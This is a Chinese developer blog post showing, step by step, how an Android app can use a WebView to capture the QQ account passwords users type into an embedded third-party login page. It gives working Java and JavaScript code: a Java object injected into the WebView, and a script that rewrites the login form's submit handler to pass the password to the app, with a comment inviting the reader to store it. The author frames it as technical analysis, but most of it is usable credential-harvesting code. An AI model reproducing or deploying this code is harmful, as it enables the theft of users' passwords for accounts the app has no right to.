转载请注明出处:http://blog.csdn.net/singwhatiwanna/article/details/17663345
前言
这是一个很有趣的话题,WebView在Android中包括IOS中都是一个很重要的控件,有了它,我们可以直接在应用里打开网页而不用跳到浏览器,且网页效果和浏览器几乎一样,这样会增强用户体验,当然也有缺点:占用内存太大,因为WebView加载网页所耗费的内存全部算在你的应用的堆里,如果不做特殊处理,你的应用就更容易OOM了。但是这不是我们今天所讨论的话题,我今天要介绍的是:如果利用WebView强大的特性来做一些有意义的事,比如违规存储第三方登录平台的账号信息(比如QQ登录平台、新浪微博等),为什么说是违规存储,因为第三方登录平台肯定不愿意将自己的账号信息给你,尤其是账户密码,因为这涉及到账户安全。当然,本次分析只讨论技术可行性,不讨论实际可行性,确切来说,完成这一切要有一个前提:你的应用接入了第三方登录平台(这个很常见)并且你有权利通过你的应用去收集账号信息(这个很难,但是你做个山寨应用是可以做到的)。另外,由于本文重点不是介绍如何使用WebView,所以基础知识请大家自行了解下。还有,博主写本文只是和大家分析技术,同时指出问题,并不是鼓励大家去搞破坏。
WebView重要的特性
- WebView支持JavaScript,一般的应用为了获得正常的体验效果,往往还会设置WebViewClient(页面加载进度相关接口)和WebChromeClient(网页弹出对话框相关接口等),总之,通过合理的设置,一个WebView基本可以做到和浏览器访问页面一样的效果
- WebView支持在Android代码中执行JavaScript语句:mWebView.loadUrl("javascript:" + mJsString)
- WebView支持在JavaScript中执行Android语句(这个特性Google官方的解释是:使用的时候尤其要注意安全性):mWebView.addJavascriptInterface(new SavePasswordJavaScriptInterface(), "SPJSInterface")
好了,有了上面几个特性,我们就可以进入正题了
第三方账号登录平台所存在的安全隐患
这里以QQ账号接入平台为例,下面将会演示一个如何违规存储第三方账号信息的方法,由于除了Android还涉及到JavaScript、HTML等东西,所以具体的实现上可能会有细微差别(因为HTML和JavaScript会改变),但是思想是不变的。
下面是一段QQ接入平台的登录页面的HTML代码,我进行了删减,大体如下所示:
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="application/xhtml+xml; charset=UTF-8" />
<meta name="viewport" content="width=device-width; initial-scale=1.0; minimum-scale=1.0; maximum-scale=1.0"/>
<meta http-equiv="X-UA-Compatible" content="IE=edge"/>
<meta content="telephone=no" name="format-detection">
<meta http-equiv="Expires" content="0"/>
<meta http-equiv="Pragma" content="no-cache"/>
<meta http-equiv="Cache-Control" content="no-cache,no-store,max-age=0,s-maxage=0,must-revalidate" />
<title>帐号设置</title>
</head>
<body class="unilogin" style="height:100%">
<div id="ptlogin-container">
<h1 id="title">帐号设置</h1>
<!-- 普通登录 -->
<!--注意:我们只要在这里执行我们的代码就可以了,因为登录的时候表单提交会执行onsubmit
或者就算HTML不是这么写的,也没关系,我们的本意是当表单提交的时候能执行我们的代码就行了
我们只要在Android中执行一段js,通过js给表单的onsubmit事件加入我们的代码,估计难不倒各位
-->
<form onsubmit="return false;">
<fieldset id="loginBox" class="loginfiled" style="display:none">
<p>
<lable class="input-title">帐 号</lable>
<input type="tel" id="ptlogin-name" placeholder="请输入QQ号"/>
<a class="empty" id="clearQQ" style="display:none;">清除</a>
</p>
<p>
<lable class="input-title">密 码</lable>
<input type="password" id="ptlogin-password" placeholder="请输入密码">
<a class="empty" id="clearPwd" style="display:none;">清除</a>
</p>
</fieldset>
<div class="varify-wrapper clearfix" id="verify_box" style="display:none">
<div class="show-varify fr clearfix">
<div class="img-varify fl">
<img id="verifyPic" src="http://3gimg.qq.com/wap30/img/netdisk/verification-code.png" width="110" height="38"></div>
<div class="fl"><a id="reVerify" href="#">换一张</a></div>
</div>
<div class="fl"><input id="ptlogin-imgVerify" type="text" placeholder="输入验证码"></div>
</div>
<input id="isNeedSid" type="hidden" name="isNeedSid" value=1 />
<input id="bid" type="hidden" name="bid" value=flashgame />
<p><input id="ptlogin-submit" class="btn-login" type="submit" value="登 录" style="display:none"></p>
</form>
</div>
<!--无法登录-->
<div class="common-box box-sm" id="ptlogin-prompt-1" style="display: none">
<h3 class="bd-bm-bk" id="login-errmsg">登录过于频繁,请稍后再试</h3>
<div class="btn-md">
<input id="ptlogin-relog-1" class="btn-dialog btn-cancel" type="reset" value="确定">
</div>
</div>
<!--出错提示-->
<div class="common-box box-error" id="ptlogin-prompt-2" style="display:none;">
<h3 class="bd-bm-bk" id="login-errmsg">登录密码错误,请重新输入</h3>
<div class="btn-md">
<input id="forget-pwd-1" class="btn-dialog" type="button" value="忘记密码">
<input id="ptlogin-relog-2" class="btn-dialog" type="reset" value="重新输入">
</div>
</div>
<!--正在登录-->
<div class="load-box" style="display:none;">
<div class="load-circle"></div>
<p>登录中...</p>
</div>
</body>
</html>
实现思想:
首先向WebView注入Java对象,在WebView加载完毕的时候执行一段js,给表单提交事件关联上我们的代码,即让表单提交的时候执行所注入的Java对象的一个方法,js执行我们的方法的时候可以把qq号和密码作为参数传递过来,然后我们就可以保存了。下面的步骤只示范如何把qq密码存下来,不过,存qq号是一样的方法,多传递一个参数就行了。
实现步骤:
第一步:声明要注入的Java对象
public class SavePasswordJavaScriptInterface
{
public void savePassword(final String password)
{
Log.w("ATTACK", "enter spjsinterface:"+ password);
mHandler.post(new Runnable()
{
@Override
public void run()
{
//这里就是用户登录的密码了,你可以存起来了
mPassword = password;
Log.w("ATTACK", mPassword);
}
});
}
}
第二步:注入上述对象
//这里是注入Java对象
mWebView.addJavascriptInterface(new SavePasswordJavaScriptInterface(), "SPJSInterface");
//这里是打开登录平台页面
mWebView.loadUrl(LOGIN_URL);
第三步:在WebViewClient中的onPageFinished方法中注入js,这样当登录的时候就会调用我们之前注入的Java对象,同时乖乖地把密码作为参数传过来
@Override
public void onPageFinished(WebView view, String url)
{
super.onPageFinished(view, url);
//仅当是登录url的时候才注入我们的js,不要任何url都注入
if (url.equals(LOGIN_URL)) {
//要注入的js
String js = "document.forms[0].onsubmit=function(event){var pwd = document.getElementById(\"ptlogin-password\").value;window.SPJSInterface.savePassword(pwd);return false;}";
Log.w("ATTACK", "inject js, js= " + js);
view.loadUrl("javascript:" + js);
}
}
总结一下
从上面三个步骤,我们就可以获取第三方接入平台的账号信息了。这里我再简述一下思想:首先注入java对象,当登录页面加载完成以后,再注入一段js,让登录表单在提交的时候能够执行我们之前注入的java对象的方法,然后就行了,等用户输入账号信息点击登录的时候,我们的方法就会被调用,而方法的参数就是账号信息。不同的接入平台注入对的js应该是不一样的,但是这个我相信绝对难不倒大家。不知道会不会有些朋友觉得不好理解,主要是因为用到了java和js的交互,涉及到html中表单的提交和js中的事件,这些知识是属于前端开发范畴的,所以我没有去详细地介绍它,感兴趣的小伙伴们可以自己了解下html和js。最后,新的一年里,祝大家新年快乐!
分享到:
相关推荐
在Android开发中,WebView是一个非常重要的组件,它允许我们在应用程序中加载和显示网页内容。本实例将详述如何使用Android Studio 3.1.2版本,通过WebView来创建一个简单的登录界面,该界面使用本地HTML页面进行...
在Android开发中,有时我们需要利用第三方库来增强应用的功能,比如WebView。WebView是Android系统提供的一种用于在应用程序中展示网页内容的组件,但它的功能相对有限。这时,我们可以选择集成Cordova来提升WebView...
- **DOM解析器**:Android提供了DocumentBuilderFactory类,用于创建DOM解析器。通过这个解析器,我们可以获取整个XML文档的树形结构,并通过Node接口操作XML元素。 - **SAX解析器**:适用于处理大型XML文件,因为...
在Android中,我们可以通过以下方式创建一个WebView: ```java WebView webView = new WebView(this); webView.loadUrl("https://www.example.com"); setContentView(webView); ``` 这段代码会创建一个新的WebView...
在Android开发中,WebviewQQ登录是一种常见的社交登录方式,它允许用户通过内置的WebView组件直接使用QQ账号进行登录,并将登录后的参数回传给应用的后台系统。这种方式简化了用户的登录流程,提高了用户体验,同时...
Android System WebView 包名:com.android.webview 版本:95.0.4638.79 minAPI:21
有些平板缺失加载webview所依赖的内核apk的资源文件,会导致应用加载webview报错。需要自己安装webview的apk。 webview全称叫做Android System WebView,它是Android生态系统的重要组成部分,也是Chrome浏览器的...
本文将详细讲解如何在Android Webview中调用摄像头进行二维码扫描,并结合ZXing(Zebra Crossing)解析包进行二维码的解析。 首先,让我们了解Android Webview的基本用法。Webview是Android SDK提供的一种视图组件...
通过WebView,开发者可以创建一个轻量级的浏览器内核,避免用户离开应用去打开第三方浏览器。 2. **设置WebView**:在AndroidManifest.xml中,我们需要为使用WebView的Activity添加INTERNET权限,这是加载网页内容...
android system webview 适配系统>=5.0
在Android开发中,WebView是一个非常重要的组件,它允许我们在应用程序中内嵌网页,实现与网页内容的交互。本文将深入探讨如何构建一个通用的WebView,包括自定义错误页面、缓存数据以及支持离线浏览的功能。 一、...
4. 第三方库:为了支持Markdown和更完整的HTML解析,开发者通常会引入第三方库,如`android-async-http`+`jsoup`组合,`android-textview-richeditor`,或者`Markwon`(Markdown解析库)等。 四、Markdown解析 1. `...
在Android平台上,WebView是一个至关重要的组件,它允许开发者在应用程序中嵌入网页浏览功能,而无需启动完整的浏览器应用。在给定的标题“android webview 版本69.0”中,提到的是一个特定版本的WebView,即69.0。...
在Android应用开发中,WebView是一个非常重要的组件,它允许开发者在应用程序内嵌入网页内容,实现类似浏览器的功能。WebView能够加载HTML、CSS、JavaScript等Web资源,并与Android原生环境进行交互。本示例主要讨论...
在Android开发中,WebView是一个非常重要的组件,它允许我们在应用程序内部加载和显示网页内容,无需跳转到外部浏览器。这个“Android webview加载网页.zip”文件可能包含了一个示例项目或者教程,帮助开发者理解...
在Android开发中,WebView是一个非常重要的组件,它允许我们在应用程序中内嵌网页内容,实现与网页的交互。WebView基于Webkit渲染引擎,这使得它在性能和兼容性上与Safari和Chrome等浏览器保持一致。在本文中,我们...
在Android开发中,有时我们需要在应用中展示网页内容,这时`WebView`组件就显得尤为重要。`WebView`不仅可以加载HTML、CSS和JavaScript,还能处理一些更复杂的需求,如播放Flash内容。然而,随着技术的发展,Flash...
在Android开发中,WebView是一个非常重要的组件,它允许我们在应用程序中内嵌网页内容,实现与网页的交互。当涉及到安全的网络通信时,HTTPS协议因其数据加密和身份验证特性成为首选。本文将深入探讨如何在Android...
- 安全与隐私:允许JavaScript意味着可能存在安全风险,因此需要谨慎处理加载的内容。 总之,虽然Android 2.2及更高版本的WebView支持SWF播放,但由于Adobe Flash Player的退役,这种方法逐渐变得过时。如今,推荐...
最后,当从相机或相册选择图片后,将图片的Uri转换为`content://`格式,并通过JavaScript接口传递回WebView: ```java @Override protected void onActivityResult(int requestCode, int resultCode, Intent data) ...